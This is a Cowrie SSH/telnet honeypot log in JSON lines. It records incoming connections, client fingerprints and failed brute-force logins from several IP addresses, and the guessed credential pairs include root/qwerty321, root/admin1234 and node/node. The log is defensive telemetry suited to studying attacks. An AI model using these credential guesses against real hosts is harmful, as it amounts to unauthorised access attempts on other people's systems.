{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":43970,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3858d4b26cc","protocol":"ssh","message":"New connection: 103.98.149.87:43970 (10.17.0.5:22) [session: a3858d4b26cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:43.103933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:43.108883Z","src_ip":"103.98.149.87","session":"a3858d4b26cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:43.334938Z","src_ip":"103.98.149.87","session":"a3858d4b26cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty321","message":"login attempt [root/qwerty321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:44.054104Z","src_ip":"103.98.149.87","session":"a3858d4b26cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33608,"dst_ip":"10.17.0.5","dst_port":23,"session":"21781fc1eaec","protocol":"telnet","message":"New connection: 152.42.224.71:33608 (10.17.0.5:23) [session: 21781fc1eaec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:44.424259Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:45.283450Z","src_ip":"103.98.149.87","session":"a3858d4b26cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":109.24163675308228,"message":"Connection lost after 109 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:47.178030Z","src_ip":"152.42.224.71","session":"ecf973b42423","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56360,"dst_ip":"10.17.0.5","dst_port":23,"session":"8de5b2a1969d","protocol":"telnet","message":"New connection: 152.42.224.71:56360 (10.17.0.5:23) [session: 8de5b2a1969d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:47.858077Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":39848,"dst_ip":"10.17.0.5","dst_port":22,"session":"d97c757ceda9","protocol":"ssh","message":"New connection: 87.251.79.125:39848 (10.17.0.5:22) [session: d97c757ceda9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:48.439546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:48.445845Z","src_ip":"87.251.79.125","session":"d97c757ceda9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56364,"dst_ip":"10.17.0.5","dst_port":23,"session":"13d44fc5425e","protocol":"telnet","message":"New connection: 152.42.224.71:56364 (10.17.0.5:23) [session: 13d44fc5425e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:48.455819Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:48.522684Z","src_ip":"87.251.79.125","session":"d97c757ceda9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kamila","message":"login attempt [root/kamila] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:48.737090Z","src_ip":"87.251.79.125","session":"d97c757ceda9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52924,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b1ca61c3c82","protocol":"ssh","message":"New connection: 31.40.204.166:52924 (159.203.135.109:22) [session: 6b1ca61c3c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:48.783034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:48.803200Z","src_ip":"31.40.204.166","session":"6b1ca61c3c82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:48.911912Z","src_ip":"31.40.204.166","session":"6b1ca61c3c82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56374,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2a587fe1e5b","protocol":"telnet","message":"New connection: 152.42.224.71:56374 (10.17.0.5:23) [session: b2a587fe1e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:49.382181Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:49.594114Z","src_ip":"31.40.204.166","session":"6b1ca61c3c82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:49.812209Z","src_ip":"87.251.79.125","session":"d97c757ceda9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:50.886158Z","src_ip":"31.40.204.166","session":"6b1ca61c3c82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56388,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3e951a5261a","protocol":"telnet","message":"New connection: 152.42.224.71:56388 (10.17.0.5:23) [session: e3e951a5261a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:51.443527Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56400,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8dc00577232","protocol":"telnet","message":"New connection: 152.42.224.71:56400 (10.17.0.5:23) [session: f8dc00577232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:52.302649Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56406,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9bdbc70f85c","protocol":"telnet","message":"New connection: 152.42.224.71:56406 (10.17.0.5:23) [session: e9bdbc70f85c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:54.476794Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53872,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae773160682f","protocol":"telnet","message":"New connection: 152.42.224.71:53872 (10.17.0.5:23) [session: ae773160682f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:57.038860Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53888,"dst_ip":"10.17.0.5","dst_port":23,"session":"76a09abb7c92","protocol":"telnet","message":"New connection: 152.42.224.71:53888 (10.17.0.5:23) [session: 76a09abb7c92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:57.799344Z"}
{"eventid":"cowrie.session.closed","duration":120.00246143341064,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:03:58.819177Z","src_ip":"152.42.224.71","session":"c007f3129100","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60980,"dst_ip":"159.203.135.109","dst_port":22,"session":"9260ba300726","protocol":"ssh","message":"New connection: 31.40.204.166:60980 (159.203.135.109:22) [session: 9260ba300726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:00.902859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:00.918789Z","src_ip":"31.40.204.166","session":"9260ba300726","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:01.087237Z","src_ip":"31.40.204.166","session":"9260ba300726","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":53872,"dst_ip":"159.203.135.109","dst_port":22,"session":"483966051e64","protocol":"ssh","message":"New connection: 62.133.63.178:53872 (159.203.135.109:22) [session: 483966051e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:01.502725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:01.511522Z","src_ip":"62.133.63.178","session":"483966051e64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:01.637685Z","src_ip":"62.133.63.178","session":"483966051e64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:01.710200Z","src_ip":"31.40.204.166","session":"9260ba300726","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t!","message":"login attempt [root/1q2w3e4r5t!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:02.015295Z","src_ip":"62.133.63.178","session":"483966051e64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:02.904781Z","src_ip":"31.40.204.166","session":"9260ba300726","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:03.144331Z","src_ip":"62.133.63.178","session":"483966051e64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53896,"dst_ip":"10.17.0.5","dst_port":23,"session":"7168abc1484b","protocol":"telnet","message":"New connection: 152.42.224.71:53896 (10.17.0.5:23) [session: 7168abc1484b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:04.367749Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34388,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5e929cef924","protocol":"telnet","message":"New connection: 152.42.224.71:34388 (10.17.0.5:23) [session: b5e929cef924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:12.513659Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34396,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed52bc334215","protocol":"telnet","message":"New connection: 152.42.224.71:34396 (10.17.0.5:23) [session: ed52bc334215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:12.714138Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":41700,"dst_ip":"159.203.135.109","dst_port":22,"session":"76d324f033f8","protocol":"ssh","message":"New connection: 31.40.204.166:41700 (159.203.135.109:22) [session: 76d324f033f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:12.880687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:12.886151Z","src_ip":"31.40.204.166","session":"76d324f033f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:13.021761Z","src_ip":"31.40.204.166","session":"76d324f033f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"12345678","message":"login attempt [claude/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:13.504527Z","src_ip":"31.40.204.166","session":"76d324f033f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34410,"dst_ip":"10.17.0.5","dst_port":23,"session":"75f6f8972628","protocol":"telnet","message":"New connection: 152.42.224.71:34410 (10.17.0.5:23) [session: 75f6f8972628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:13.863030Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:14.692533Z","src_ip":"31.40.204.166","session":"76d324f033f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.36206889152527,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:16.786184Z","src_ip":"152.42.224.71","session":"21781fc1eaec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.076019048690796,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:17.483633Z","src_ip":"152.42.224.71","session":"342496904dc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.70890188217163,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:19.076522Z","src_ip":"152.42.224.71","session":"7168abc1484b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56358,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b5163ba3754","protocol":"telnet","message":"New connection: 152.42.224.71:56358 (10.17.0.5:23) [session: 7b5163ba3754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:20.631497Z"}
{"eventid":"cowrie.session.closed","duration":58.81586766242981,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:21.305745Z","src_ip":"152.42.224.71","session":"4f3a94e35365","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.72035765647888,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:22.176087Z","src_ip":"152.42.224.71","session":"13d44fc5425e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56366,"dst_ip":"10.17.0.5","dst_port":23,"session":"de4a1bdf2eac","protocol":"telnet","message":"New connection: 152.42.224.71:56366 (10.17.0.5:23) [session: de4a1bdf2eac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:22.962739Z"}
{"eventid":"cowrie.session.closed","duration":31.584168434143066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:04:23.027573Z","src_ip":"152.42.224.71","session":"e3e951a5261a","protocol":"telnet"}
